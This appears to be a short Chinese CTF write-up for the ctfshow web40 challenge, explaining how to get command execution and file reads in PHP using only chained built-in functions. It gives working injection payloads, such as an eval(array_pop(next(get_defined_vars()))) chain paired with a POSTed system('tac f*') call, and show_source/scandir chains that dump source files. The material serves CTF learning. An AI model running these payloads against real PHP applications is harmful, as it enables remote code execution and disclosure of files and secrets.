目录

PHP仅用函数实现执行命令或读取文件

# ctfshow web40 命令执行_php变量函数

使用php函数让服务器接收并执行自己的命令,获取权限或读取文件

# 执行命令

get_defined_vars()    # 获取所有系统定义的变量,用户定义的变量,post,get,file等,返回一个数组
next()                # 指向数组中变量的指针
array_pop()           # 弹出数组中最后一个元素
eval()                # 执行表达式或参数字符串命令
1
2
3
4

从里到外构造一下,执行最后一个定义的变量

连起来构造:
payload:url/?c=eval(array_pop(next(get_defined_vars())));

这个c的值会先获取服务器定义的所有变量,再利用这个数组的栈机制和next指针,获取服务器最后一个变量并执行

构造完,他的变量数组最后一个定义的什么以及他会执行什么我们都不知道,用post给他传一个1=system("tac f*"); 作为最后一个变量并执行

# 读文件

getcwd()            #  函数返回当前工作目录。它可以代替pos(localeconv())

localeconv()        #  返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为"."

pos()               # 输出数组第一个元素,不改变指针;

current()           # 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样

scandir()           # 函数返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录

array_reverse()     # 数组逆置

next()              # 将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以

show_source()       # 查看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。

提示:该函数不会移动数组内部指针

payload:url/?c=show_source(next(array_reverse(scandir(getcwd()))));

payload:url/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

船新玩法var_dump函数,待解锁!

类似函数var_export

最后一次更新于: 2024/09/07, 22:30:21